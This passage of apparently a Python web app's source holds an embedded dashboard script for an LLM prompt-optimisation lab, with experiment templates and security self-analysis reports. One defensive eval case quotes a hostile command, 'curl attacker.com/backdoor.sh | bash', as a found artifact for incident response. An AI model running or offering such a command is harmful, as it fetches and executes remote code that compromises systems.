if (d.improved) activeExp.improvements = (activeExp.improvements||0) + 1;
updateMonitor();
renderExpList();
} else if (d.type === 'status') {
var liveEl = document.getElementById('live-status');
if (liveEl) liveEl.textContent = d.message || '';
} else if (d.type === 'done') {
activeExp.status = 'paused';
updateMonitor();
renderExpList();
var liveEl = document.getElementById('live-status');
if (liveEl) liveEl.textContent = 'Completed';
es.close();
} else if (d.type === 'error') {
toast(d.message, false);
var liveEl = document.getElementById('live-status');
if (liveEl) liveEl.textContent = 'Error: ' + (d.message||'').substring(0,100);
}
};
es.onerror = function() { es.close(); };
}
function renderTrialLog() {
const el = document.getElementById('trial-log');
if (!trialData.length) { el.innerHTML = '<div class="empty">No trials yet.</div>'; return; }
el.innerHTML = trialData.slice(-50).reverse().map(t =>
`<div class="trial-item">
<div class="ind" style="background:${t.improved?'var(--green)':'var(--red)'}"></div>
<div class="num">#${t.trial}</div>
<div class="diff">${t.diff || 'no change'}</div>
<div class="score" style="color:${t.improved?'var(--green)':'var(--text2)'}">${t.score.toFixed(1)}</div>
</div>`
).join('');
el.scrollTop = 0;
}
function renderChart(svgId, trials) {
const svg = document.getElementById(svgId);
if (!trials.length) { svg.innerHTML = '<text x="400" y="100" text-anchor="middle" fill="#a1a1aa" font-size="14">No data yet</text>'; return; }
const w = 800, h = 200, pad = 30;
const maxScore = 10, minScore = 0;
const pts = trials.map((t, i) => {
const x = pad + (i / Math.max(trials.length - 1, 1)) * (w - pad * 2);
const y = h - pad - ((t.score - minScore) / (maxScore - minScore)) * (h - pad * 2);
return {x, y, score: t.score, improved: t.improved, trial: t.trial};
});
// Best score line
const bestY = h - pad - ((Math.max(...trials.map(t=>t.best||t.score)) - minScore) / (maxScore - minScore)) * (h - pad * 2);
let html = `<line x1="${pad}" y1="${bestY}" x2="${w-pad}" y2="${bestY}" stroke="#22c55e" stroke-width="1" stroke-dasharray="4,4" opacity="0.4"/>`;
// Score line
const line = pts.map(p => `${p.x},${p.y}`).join(' ');
html += `<polyline points="${line}" fill="none" stroke="var(--accent)" stroke-width="2" opacity="0.7"/>`;
// Dots
pts.forEach(p => {
html += `<circle cx="${p.x}" cy="${p.y}" r="3" fill="${p.improved?'#22c55e':'#ef4444'}" opacity="0.8"/>`;
});
// Axes
html += `<line x1="${pad}" y1="${pad}" x2="${pad}" y2="${h-pad}" stroke="var(--border)" stroke-width="1"/>`;
html += `<line x1="${pad}" y1="${h-pad}" x2="${w-pad}" y2="${h-pad}" stroke="var(--border)" stroke-width="1"/>`;
// Labels
for (let s = 0; s <= 10; s += 2) {
const y = h - pad - (s / 10) * (h - pad * 2);
html += `<text x="${pad-5}" y="${y+4}" text-anchor="end" fill="var(--text2)" font-size="10">${s}</text>`;
}
svg.innerHTML = html;
}
// Create experiment
function showCreate() { document.getElementById('create-form').style.display = ''; renderModelChips(); addEvalRow(); }
function hideCreate() { document.getElementById('create-form').style.display = 'none'; }
let selectedModels = new Set();
function renderModelChips() {
document.getElementById('cr-models').innerHTML = allModels.map(m => {
const s = selectedModels.has(m.name);
return `<span class="model-chip ${s?'sel':''}" onclick="toggleChip('${m.name}')">${m.display_name || m.name}</span>`;
}).join('');
}
function toggleChip(name) { selectedModels.has(name) ? selectedModels.delete(name) : selectedModels.add(name); renderModelChips(); }
let evalRows = [];
function addEvalRow() {
evalRows.push({input:'', expected:''});
renderEvalRows();
}
function renderEvalRows() {
document.getElementById('cr-evals').innerHTML = evalRows.map((r, i) =>
`<div class="eval-row">
<textarea placeholder="Input prompt..." oninput="evalRows[${i}].input=this.value">${r.input}</textarea>
<textarea placeholder="Expected output (optional)..." oninput="evalRows[${i}].expected=this.value">${r.expected}</textarea>
<button class="btn btn-r" onclick="evalRows.splice(${i},1);renderEvalRows()">x</button>
</div>`
).join('');
}
async function createExp() {
const name = document.getElementById('cr-name').value.trim();
if (!name) return toast('Name required', false);
if (!selectedModels.size) return toast('Select at least one model', false);
if (!evalRows.filter(r=>r.input).length) return toast('Add at least one eval case', false);
const models = [...selectedModels];
const body = {
name,
objective: document.getElementById('cr-obj').value,
metric: document.getElementById('cr-metric').value,
models_pool: models,
eval_cases: evalRows.filter(r => r.input),
mutable_config: { system_prompt: 'You are a helpful assistant.', temperature: 0.7, model: models[0] }
};
await fetch('/api/lab/experiments', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body)});
hideCreate();
evalRows = [];
selectedModels.clear();
document.getElementById('cr-name').value = '';
document.getElementById('cr-obj').value = '';
await loadExperiments();
toast('Experiment created');
}
// Results tab
function renderResults() {
const el = document.getElementById('results-list');
if (!experiments.length) { el.innerHTML = '<div class="empty">No experiments yet.</div>'; return; }
el.innerHTML = experiments.map(e => {
const rate = e.total_trials > 0 ? ((e.improvements / e.total_trials) * 100).toFixed(0) : 0;
return `<div class="exp-item" onclick="viewResult(${e.id})">
<div class="name">${e.name} <span class="status-pill ${e.status}">${e.status}</span></div>
<div class="meta"><span>Trials: ${e.total_trials}</span><span>Best: ${(e.best_score||0).toFixed(1)}/10</span><span>Hit rate: ${rate}%</span></div>
</div>`;
}).join('');
}
async function viewResult(id) {
const r = await fetch('/api/lab/experiments/' + id);
const exp = await r.json();
document.getElementById('result-detail').style.display = '';
document.getElementById('res-name').textContent = exp.name;
const trials = (exp.trials || []).map(t => ({trial: t.trial_num, score: t.avg_score, improved: t.improved, best: exp.best_score, diff: t.config_diff}));
renderChart('res-chart', trials);
document.getElementById('res-trials').innerHTML = trials.slice(-50).reverse().map(t =>
`<div class="trial-item">
<div class="ind" style="background:${t.improved?'var(--green)':'var(--red)'}"></div>
<div class="num">#${t.trial}</div>
<div class="diff">${t.diff || ''}</div>
<div class="score" style="color:${t.improved?'var(--green)':'var(--text2)'}">${(t.score||0).toFixed(1)}</div>
</div>`
).join('');
activeExp = exp;
}
function exportBest() {
if (!activeExp || !activeExp.best_config) return toast('No best config', false);
const blob = new Blob([JSON.stringify(activeExp.best_config, null, 2)], {type:'application/json'});
const a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = (activeExp.name||'config').replace(/\s+/g,'_') + '_best.json';
a.click();
}
function labTab(name) {
document.querySelectorAll('.tab').forEach(t => t.classList.toggle('active', t.textContent.toLowerCase().includes(name.substring(0,4))));
document.querySelectorAll('.tc').forEach(c => c.classList.toggle('active', c.id === 'lt-'+name));
if (name === 'results') loadExperiments();
}
function toast(msg, ok=true) {
var t = document.createElement('div');
t.className = 'toast ' + (ok ? 'ok' : 'err');
t.textContent = ok ? '' + msg : '' + msg;
document.body.appendChild(t);
setTimeout(function(){ t.style.opacity='0'; t.style.transition='opacity 0.3s'; setTimeout(function(){t.remove()},300); }, 2500);
}
// ─── EXPERIMENT TEMPLATES ───
var LAB_TEMPLATES = [
{
level: 'basic',
name: 'Better Summaries',
desc: 'Optimize a model to write concise, accurate summaries. The ratchet engine tweaks the system prompt and temperature until summaries consistently hit the right length and capture key points.',
objective: 'Generate concise, accurate summaries that capture all key points in 2-3 sentences',
metric: 'quality',
config: {system_prompt: 'You are a summarization expert. Write clear, concise summaries.', temperature: 0.5},
evals: [
{input: 'Summarize: The mitochondria is the powerhouse of the cell. It produces ATP through cellular respiration, converting glucose and oxygen into energy. This process occurs in the inner membrane through the electron transport chain.', expected: 'A 2-3 sentence summary capturing mitochondria, ATP production, and cellular respiration.'},
{input: 'Summarize: In 1969, Apollo 11 successfully landed humans on the Moon for the first time. Neil Armstrong and Buzz Aldrin spent about two hours on the lunar surface while Michael Collins orbited above. The mission fulfilled President Kennedy\'s 1961 goal and was watched by 600 million people worldwide.', expected: 'A concise summary mentioning Apollo 11, the astronauts, and the significance.'},
{input: 'Summarize: Machine learning models can be broadly categorized into supervised learning, unsupervised learning, and reinforcement learning. Supervised learning uses labeled data, unsupervised finds patterns in unlabeled data, and reinforcement learning optimizes through reward signals.', expected: 'Brief overview of the three ML categories with key distinctions.'}
]
},
{
level: 'intermediate',
name: 'Code Explainer',
desc: 'Find the best system prompt and model to explain code to non-programmers. Tests whether the AI can break down technical concepts without using jargon, while remaining accurate.',
objective: 'Explain code snippets to non-programmers: accurate, jargon-free, uses analogies, under 100 words',
metric: 'quality',
config: {system_prompt: 'Explain code to someone who has never programmed. Use everyday analogies. Be accurate but avoid jargon. Keep it under 100 words.', temperature: 0.7},
evals: [
{input: 'Explain this code:\nfor i in range(10):\n print(i)', expected: 'Clear explanation of a counting loop using a non-technical analogy.'},
{input: 'Explain this code:\ndef fibonacci(n):\n if n <= 1: return n\n return fibonacci(n-1) + fibonacci(n-2)', expected: 'Explanation of recursion and the Fibonacci pattern without using the word recursion.'},
{input: 'Explain this code:\ntry:\n result = 10 / x\nexcept ZeroDivisionError:\n result = 0', expected: 'Explanation of error handling using a real-world safety net analogy.'},
{input: 'Explain this code:\nusers = {u.name: u for u in database.query(User).filter(active=True)}', expected: 'Explanation of dictionary comprehension and database filtering in plain language.'}
]
},
{
level: 'advanced',
name: 'Security Analyst Persona',
desc: 'Evolve the perfect system prompt for a cybersecurity AI analyst. Tests across threat classification, incident response, vulnerability assessment, and executive communication — all requiring different tones and depths.',
objective: 'Create an AI security analyst that accurately classifies threats, explains vulnerabilities to both technical and executive audiences, and provides actionable remediation steps',
metric: 'quality',
config: {system_prompt: 'You are a senior cybersecurity analyst with 15 years of experience. Provide thorough, accurate security assessments. Adapt your language to the audience. Always include specific, actionable recommendations.', temperature: 0.3},
evals: [
{input: 'Classify this log entry: EXPLOIT_SCAN ip=45.33.32.0 path=/.env.production ua=python-requests/2.28', expected: 'Identify as automated scanner targeting environment files, recommend ban, explain risk.'},
{input: 'Write an executive summary of this vulnerability: Our API endpoint /api/users accepts SQL injection via the search parameter. No parameterized queries are used.', expected: 'Non-technical summary for C-suite explaining business risk and remediation priority.'},
{input: 'A developer asks: why is storing JWT tokens in localStorage bad?', expected: 'Technical explanation covering XSS risk, comparison to httpOnly cookies, and practical recommendation.'},
{input: 'Our nginx logs show 500 requests per second from 200 different IPs all hitting /api/login. What is this and what do we do?', expected: 'Identify as distributed brute force, provide immediate response steps and long-term mitigations.'},
{input: 'We found this in our Docker container: curl attacker.com/backdoor.sh | bash. The container had access to the production database.', expected: 'Incident response: containment, forensics, scope assessment, notification, and remediation plan.'}
]
}
];
// ─── SELF-ANALYSIS REPORTS ───
var SELF_REPORTS = [
{id:'threat_intel', name:'Threat Intelligence Report', desc:'Analyze security logs to identify attack patterns, profile attackers, predict next moves, and recommend defenses', icon:'shield'},
{id:'model_performance', name:'Model Performance Analysis', desc:'Analyze your 96 team runs to find which models perform best at which tasks and where to optimize', icon:'chart'},
{id:'access_patterns', name:'Usage Analytics', desc:'Analyze nginx logs to understand traffic patterns, feature usage, user journeys, and UX opportunities', icon:'eye'},
{id:'security_posture', name:'Security Posture Assessment', desc:'Combined audit of security logs, sentinel verdicts, fail2ban status, and threat intel DB — overall risk rating', icon:'lock'}
];
function renderSelfReports() {
var container = document.getElementById('self-reports');
if (!container) return;
container.textContent = '';
SELF_REPORTS.forEach(function(r) {
var card = document.createElement('div');
card.style.cssText = 'background:rgba(0,0,0,0.25);border:2px solid rgba(74,222,128,0.2);border-radius:2px;padding:12px;cursor:pointer;transition:all 0.15s;display:flex;align-items:center;gap:12px';
card.onmouseenter = function(){card.style.borderColor='var(--green)'};
card.onmouseleave = function(){card.style.borderColor='rgba(74,222,128,0.2)'};
card.onclick = function(){runSelfReport(r.id, card)};
var info = document.createElement('div'); info.style.flex = '1';
var name = document.createElement('div');
name.style.cssText = 'font-weight:700;font-size:12px;margin-bottom:3px';
name.textContent = r.name;
var desc = document.createElement('div');
desc.style.cssText = 'font-size:11px;color:var(--text2);line-height:1.4';
desc.textContent = r.desc;
info.appendChild(name); info.appendChild(desc); card.appendChild(info);
var btn = document.createElement('span');
btn.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;color:var(--green);white-space:nowrap';
btn.textContent = 'Run →';
card.appendChild(btn);
container.appendChild(card);
});
}
async function runSelfReport(type, card) {
var origBorder = card.style.borderColor;
card.style.borderColor = 'var(--green)';
var btn = card.querySelector('span:last-child');
btn.textContent = 'Analyzing...';
btn.style.color = 'var(--accent)';
// Find or create result panel
var resultId = 'report-' + type;
var existing = document.getElementById(resultId);
if (existing) existing.remove();
try {
var r = await fetch('/api/self-analyze', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({type:type, model:'qwen2.5:latest'})});
var d = await r.json();
if (d.error) { toast(d.error, false); return; }
var panel = document.createElement('div');
panel.id = resultId;
panel.style.cssText = 'background:rgba(0,0,0,0.3);border:2px solid var(--green);border-radius:2px;padding:16px;margin-top:8px;max-height:500px;overflow-y:auto';
var title = document.createElement('div');
title.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:1.5px;color:var(--green);margin-bottom:8px;display:flex;justify-content:space-between';
title.textContent = type.replace(/_/g,' ') + '' + d.model;
var closeBtn = document.createElement('span');
closeBtn.style.cssText = 'cursor:pointer;opacity:0.6';
closeBtn.textContent = '';
closeBtn.onclick = function(e){e.stopPropagation();panel.remove()};
title.appendChild(closeBtn);
panel.appendChild(title);
var content = document.createElement('div');
content.style.cssText = 'font-size:12px;line-height:1.7;white-space:pre-wrap;color:var(--text)';
content.textContent = d.report;
panel.appendChild(content);
card.parentNode.insertBefore(panel, card.nextSibling);
if (d.id) {
var saved = document.createElement('div');
saved.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:var(--green);margin-top:8px;text-transform:uppercase;letter-spacing:1px';
saved.textContent = '✓ Saved as report #' + d.id;
panel.appendChild(saved);
}
toast('Report generated & saved', true);
loadPastReports();
} catch(e) { toast('Error: '+e.message, false); }
btn.textContent = 'Run →';
btn.style.color = 'var(--green)';
card.style.borderColor = origBorder;
}
async function loadPastReports() {
var el = document.getElementById('past-reports');
if (!el) return;
try {
var r = await fetch('/api/self-reports');
var d = await r.json();
var reports = d.reports || [];
if (!reports.length) { el.textContent = ''; return; }
el.textContent = '';
var title = document.createElement('div');
title.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:2px;color:var(--text2);margin-bottom:8px;padding-top:8px;border-top:1px solid var(--border)';
title.textContent = 'Past Reports (' + reports.length + ')';
el.appendChild(title);
reports.forEach(function(rpt) {
var row = document.createElement('div');
row.style.cssText = 'display:flex;align-items:center;gap:8px;padding:6px 0;border-bottom:1px solid rgba(42,45,53,0.3);cursor:pointer;font-size:11px';
row.onmouseenter = function(){row.style.background='rgba(74,222,128,0.03)'};
row.onmouseleave = function(){row.style.background='transparent'};
var typeEl = document.createElement('span');
typeEl.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:0.5px;color:var(--green);font-weight:700;min-width:130px';
typeEl.textContent = rpt.report_type.replace(/_/g,' ');
var modelEl = document.createElement('span');
modelEl.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:var(--text2);min-width:90px';
modelEl.textContent = rpt.model;
var dateEl = document.createElement('span');
dateEl.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:var(--text2);margin-left:auto';
dateEl.textContent = new Date(rpt.created_at).toLocaleString();
row.appendChild(typeEl); row.appendChild(modelEl); row.appendChild(dateEl);
row.onclick = function(){viewPastReport(rpt.id)};
el.appendChild(row);
});
} catch(e) {}
}
async function viewPastReport(id) {
var resultId = 'report-past-' + id;
var existing = document.getElementById(resultId);
if (existing) { existing.remove(); return; }
try {
var r = await fetch('/api/self-reports/' + id);
var d = await r.json();
if (d.error) return;
var panel = document.createElement('div');
panel.id = resultId;
panel.style.cssText = 'background:rgba(0,0,0,0.3);border:2px solid var(--green);border-radius:2px;padding:16px;margin:8px 0;max-height:500px;overflow-y:auto';
var title = document.createElement('div');
title.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:1.5px;color:var(--green);margin-bottom:8px;display:flex;justify-content:space-between';
title.textContent = d.report_type.replace(/_/g,' ') + '' + d.model + '' + new Date(d.created_at).toLocaleString();
var closeBtn = document.createElement('span');
closeBtn.style.cssText = 'cursor:pointer;opacity:0.6';
closeBtn.textContent = '';
closeBtn.onclick = function(e){e.stopPropagation();panel.remove()};
title.appendChild(closeBtn);
panel.appendChild(title);
var content = document.createElement('div');
content.style.cssText = 'font-size:12px;line-height:1.7;white-space:pre-wrap;color:var(--text)';
content.textContent = d.report;
panel.appendChild(content);
document.getElementById('past-reports').appendChild(panel);
} catch(e) {}
}
// ─── META-PIPELINE UI ───
var META_PRESETS = [
{name:'Security Deep Dive', source:'security_logs', stages:['extract','research','validate','debate','synthesize'], desc:'Extract attack patterns → research context → validate claims → challenge findings → final brief'},
{name:'Run History Insights', source:'team_runs', stages:['extract','research','validate','synthesize'], desc:'Extract patterns from 96 runs → research optimization opportunities → validate → actionable brief'},
{name:'Threat Intel Enrichment', source:'threat_intel', stages:['extract','research','validate','consensus','synthesize'], desc:'Analyze profiled IPs → research threat actors → validate attributions → converge → intel report'},
{name:'Cross-Report Synthesis', source:'self_reports', stages:['extract','debate','consensus','synthesize'], desc:'Extract findings from past reports → debate conflicts → converge → unified intelligence brief'}
];
function renderMetaPresets() {
var el = document.getElementById('meta-presets');
if (!el) return;
el.textContent = '';
META_PRESETS.forEach(function(p) {
var card = document.createElement('div');
card.style.cssText = 'background:rgba(0,0,0,0.25);border:2px solid rgba(217,70,239,0.15);border-radius:2px;padding:12px;cursor:pointer;transition:border-color 0.15s';
card.onmouseenter = function(){card.style.borderColor='#d946ef'};
card.onmouseleave = function(){card.style.borderColor='rgba(217,70,239,0.15)'};
card.onclick = function(){createMetaPipeline(p)};
var name = document.createElement('div');
name.style.cssText = 'font-weight:700;font-size:12px;margin-bottom:4px;color:#d946ef';
name.textContent = p.name;
var stages = document.createElement('div');
stages.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:var(--text2);margin-bottom:4px';
stages.textContent = p.stages.join('');
var desc = document.createElement('div');
desc.style.cssText = 'font-size:10px;color:var(--text2);line-height:1.4';
desc.textContent = p.desc;
card.appendChild(name); card.appendChild(stages); card.appendChild(desc);
el.appendChild(card);
});
}
async function createMetaPipeline(preset) {
try {
var r = await fetch('/api/meta-pipeline', {method:'POST', headers:{'Content-Type':'application/json'},
body:JSON.stringify({name:preset.name, data_source:preset.source, stages:preset.stages})});
var d = await r.json();
if (d.id) {
toast('Pipeline created — starting...', true);
await fetch('/api/meta-pipeline/'+d.id+'/start', {method:'POST'});
loadMetaPipelines();
}
} catch(e) { toast('Error: '+e.message, false); }
}
async function loadMetaPipelines() {
var el = document.getElementById('meta-pipelines');
if (!el) return;
try {
var r = await fetch('/api/meta-pipelines');
var d = await r.json();
var pipes = d.pipelines || [];
if (!pipes.length) { el.textContent = ''; return; }
el.textContent = '';
var title = document.createElement('div');
title.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:2px;color:var(--text2);margin-bottom:8px;padding-top:8px;border-top:1px solid var(--border)';
title.textContent = 'Pipeline Runs';
el.appendChild(title);
pipes.forEach(function(p) {
var card = document.createElement('div');
card.style.cssText = 'background:rgba(0,0,0,0.2);border:2px solid var(--border);border-radius:2px;margin-bottom:6px;padding:10px 12px';
if (p.status === 'running') card.style.borderColor = 'rgba(217,70,239,0.3)';
if (p.status === 'completed') card.style.borderColor = 'rgba(74,222,128,0.2)';
// Top row: status + name + score + controls
var topRow = document.createElement('div');
topRow.style.cssText = 'display:flex;align-items:center;gap:8px;font-size:11px';
var dot = document.createElement('div');
var dotColor = p.status==='running'?'#d946ef':p.status==='completed'?'var(--green)':'var(--text2)';
dot.style.cssText = 'width:8px;height:8px;border-radius:50%;background:'+dotColor+';flex-shrink:0';
if (p.status === 'running') dot.style.animation = 'pulse 2s infinite';
topRow.appendChild(dot);
var name = document.createElement('span');
name.style.cssText = 'font-weight:700';
name.textContent = p.name; topRow.appendChild(name);
var statusTag = document.createElement('span');
statusTag.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1px;padding:2px 6px;border:1px solid;border-radius:1px;color:'+dotColor+';border-color:'+dotColor;
statusTag.textContent = p.status; topRow.appendChild(statusTag);
if (p.best_score > 0) {
var score = document.createElement('span');
score.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:11px;font-weight:700;color:var(--green)';
score.textContent = p.best_score.toFixed(1)+'/10';
topRow.appendChild(score);
}
var spacer = document.createElement('span'); spacer.style.flex = '1'; topRow.appendChild(spacer);
// Controls
if (p.status === 'running') {
var stopBtn = document.createElement('button');
stopBtn.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;padding:3px 8px;border:2px solid rgba(224,82,82,0.3);border-radius:2px;background:transparent;color:var(--red);cursor:pointer';
stopBtn.textContent = 'Stop';
stopBtn.onclick = function(e){e.stopPropagation();fetch('/api/meta-pipeline/'+p.id+'/stop',{method:'POST'}).then(function(){loadMetaPipelines()})};
topRow.appendChild(stopBtn);
} else if (p.status !== 'running') {
var startBtn = document.createElement('button');
startBtn.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;padding:3px 8px;border:2px solid rgba(74,222,128,0.3);border-radius:2px;background:transparent;color:var(--green);cursor:pointer';
startBtn.textContent = 'Restart';
startBtn.onclick = function(e){e.stopPropagation();fetch('/api/meta-pipeline/'+p.id+'/start',{method:'POST'}).then(function(){loadMetaPipelines()})};
topRow.appendChild(startBtn);
}
var viewBtn = document.createElement('button');
viewBtn.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;padding:3px 8px;border:2px solid rgba(217,70,239,0.3);border-radius:2px;background:transparent;color:#d946ef;cursor:pointer';
viewBtn.textContent = 'Results';
viewBtn.onclick = function(e){e.stopPropagation();viewMetaPipeline(p.id)};
topRow.appendChild(viewBtn);
card.appendChild(topRow);
// Info row: stages + iterations + live status
var infoRow = document.createElement('div');
infoRow.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:var(--text2);margin-top:4px;display:flex;gap:12px';
infoRow.textContent = (p.stages||[]).join('') + ' | ' + (p.iterations||0) + ' iterations';
if (p.live_status && p.status === 'running') {
var prog = document.createElement('span');
prog.style.cssText = 'color:#d946ef;margin-left:auto';
prog.textContent = p.live_status.substep || '';
infoRow.appendChild(prog);
}
card.appendChild(infoRow);
el.appendChild(card);
});
} catch(e) {}
}
async function viewMetaPipeline(pid) {
var existing = document.getElementById('meta-detail-'+pid);
if (existing) { existing.remove(); return; }
try {
var r = await fetch('/api/meta-pipeline/'+pid);
var d = await r.json();
if (d.error) return;
var panel = document.createElement('div');
panel.id = 'meta-detail-'+pid;
panel.style.cssText = 'background:rgba(0,0,0,0.3);border:2px solid #d946ef;border-radius:2px;padding:16px;margin:8px 0;max-height:600px;overflow-y:auto';
var title = document.createElement('div');
title.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#d946ef;text-transform:uppercase;letter-spacing:1px;margin-bottom:10px;display:flex;justify-content:space-between';
title.textContent = d.name + '' + (d.runs||[]).length + ' iterations';
var closeBtn = document.createElement('span');
closeBtn.style.cssText = 'cursor:pointer;opacity:0.6';
closeBtn.textContent = '';
closeBtn.onclick = function(e){e.stopPropagation();panel.remove()};
title.appendChild(closeBtn);
panel.appendChild(title);
// Show each iteration
(d.runs||[]).forEach(function(run) {
var iterDiv = document.createElement('div');
iterDiv.style.cssText = 'margin-bottom:12px;padding-bottom:12px;border-bottom:1px solid var(--border)';
var hdr = document.createElement('div');
hdr.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;display:flex;gap:8px;align-items:center;margin-bottom:6px';
hdr.innerHTML = '<span style="color:#d946ef;font-weight:700">Iteration '+run.iteration+'</span>'
+ '<span style="color:'+(run.score>=7?'var(--green)':run.score>=5?'var(--accent)':'var(--red)')+';font-weight:700">Score: '+run.score.toFixed(1)+'/10</span>'
+ '<span style="color:var(--text2)">Models: '+(run.model_config.models||[]).join(', ')+'</span>';
iterDiv.appendChild(hdr);
// Stage results
(run.stage_results||[]).forEach(function(sr) {
var stageEl = document.createElement('div');
stageEl.style.cssText = 'margin:4px 0;cursor:pointer';
var stageHead = document.createElement('div');
stageHead.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:'+(sr.error?'var(--red)':'var(--text2)')+';display:flex;gap:6px';
stageHead.textContent = ''+sr.stage+' ('+sr.model+') — '+(sr.chars||0)+' chars';
var stageBody = document.createElement('div');
stageBody.style.cssText = 'display:none;background:rgba(0,0,0,0.2);border:1px solid var(--border);border-radius:2px;padding:8px;margin-top:4px;font-size:11px;line-height:1.5;white-space:pre-wrap;max-height:300px;overflow-y:auto;color:var(--text)';
stageBody.textContent = sr.output||'';
stageHead.onclick = function(){
if (stageBody.style.display==='none'){stageBody.style.display='block';stageHead.textContent=''+sr.stage+' ('+sr.model+') — '+(sr.chars||0)+' chars'}
else{stageBody.style.display='none';stageHead.textContent=''+sr.stage+' ('+sr.model+') — '+(sr.chars||0)+' chars'}
};
stageEl.appendChild(stageHead);stageEl.appendChild(stageBody);iterDiv.appendChild(stageEl);
});
panel.appendChild(iterDiv);
});
// Best output
if (d.results && d.results.best_output) {
var bestDiv = document.createElement('div');
bestDiv.style.cssText = 'border:2px solid var(--green);border-radius:2px;padding:12px;background:rgba(74,222,128,0.03)';
var bestTitle = document.createElement('div');
bestTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:var(--green);text-transform:uppercase;letter-spacing:1px;margin-bottom:6px;font-weight:700';
bestTitle.textContent = 'Best Output (score: '+d.best_score.toFixed(1)+'/10, models: '+(d.results.best_models||[]).join(', ')+')';
var bestBody = document.createElement('div');
bestBody.style.cssText = 'font-size:12px;line-height:1.6;white-space:pre-wrap;max-height:400px;overflow-y:auto';
bestBody.textContent = d.results.best_output;
bestDiv.appendChild(bestTitle);bestDiv.appendChild(bestBody);panel.appendChild(bestDiv);
}
document.getElementById('meta-pipelines').appendChild(panel);
} catch(e) {}
}
renderMetaPresets();
loadMetaPipelines();
setInterval(function(){if(document.getElementById('meta-pipelines') && !document.querySelector('[id^="meta-detail-"]'))loadMetaPipelines()},5000);
renderSelfReports();
loadPastReports();
function renderTemplates() {
var el = document.getElementById('template-list');
if (!el) return;
el.textContent = '';
var levelColors = {basic:'var(--green)',intermediate:'var(--accent)',advanced:'var(--red)'};
LAB_TEMPLATES.forEach(function(t, i) {
var card = document.createElement('div');
card.style.cssText = 'background:rgba(0,0,0,0.25);border:2px solid var(--border);border-radius:2px;padding:14px;cursor:pointer;transition:border-color 0.15s';
card.onmouseenter = function(){card.style.borderColor='var(--accent)'};
card.onmouseleave = function(){card.style.borderColor='var(--border)'};
card.onclick = function(){loadTemplate(i)};
var header = document.createElement('div');
header.style.cssText = 'display:flex;align-items:center;gap:8px;margin-bottom:6px';
var level = document.createElement('span');
level.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1px;padding:2px 8px;border:1px solid;border-radius:1px;font-weight:700;color:'+levelColors[t.level]+';border-color:'+levelColors[t.level];
level.textContent = t.level;
var name = document.createElement('span');
name.style.cssText = 'font-weight:700;font-size:13px';
name.textContent = t.name;
var evCount = document.createElement('span');
evCount.style.cssText = 'margin-left:auto;font-family:JetBrains Mono,monospace;font-size:9px;color:var(--text2)';
evCount.textContent = t.evals.length + ' eval cases';
header.appendChild(level); header.appendChild(name); header.appendChild(evCount);
card.appendChild(header);
var desc = document.createElement('div');
desc.style.cssText = 'font-size:12px;color:var(--text2);line-height:1.5';
desc.textContent = t.desc;
card.appendChild(desc);
el.appendChild(card);
});
}
function loadTemplate(idx) {
var t = LAB_TEMPLATES[idx];
showCreate();
document.getElementById('cr-name').value = t.name;
document.getElementById('cr-obj').value = t.objective;
document.getElementById('cr-metric').value = t.metric;
selectedModels.clear();
allModels.forEach(function(m){selectedModels.add(m.name)});
renderModelChips();
evalRows = t.evals.map(function(e){return {input:e.input, expected:e.expected}});
renderEvalRows();
toast('Template loaded: ' + t.name);
document.getElementById('create-form').scrollIntoView({behavior:'smooth'});
}
renderTemplates();
// Background grid
!function(){var c=document.getElementById('bg-grid');if(!c)return;var x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);var t=0;function draw(){x.clearRect(0,0,c.width,c.height);var s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(var gx=-s+ox;gx<c.width+s;gx+=s)for(var gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}t++;requestAnimationFrame(draw)}draw()}();
init();
</script>
</body>
</html>
"""
# ─── HELPERS ───────────────────────────────────────────────────
def _get_timeout(model_id):
cfg = load_config()
t = cfg["timeouts"]["per_model"].get(model_id)
if t:
return t
if "::" in model_id:
prov = model_id.split("::")[0]
return cfg["providers"].get(prov, {}).get("timeout", cfg["timeouts"]["global"])
return cfg["providers"].get("ollama", {}).get("timeout", cfg["timeouts"]["global"])
def query_ollama(model, prompt, timeout):
cfg = load_config()
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
# Set num_ctx based on prompt size — Ollama defaults to 2048 which is too small
prompt_tokens = estimate_tokens(prompt)
ctx_limit = get_context_limit(model)
num_ctx = min(max(prompt_tokens + 1024, 2048), ctx_limit)
# Truncate prompt if it exceeds the model's context window
if prompt_tokens > ctx_limit - 512:
prompt = smart_truncate(prompt, ctx_limit - 512)
resp = requests.post(f"{base}/api/generate", json={
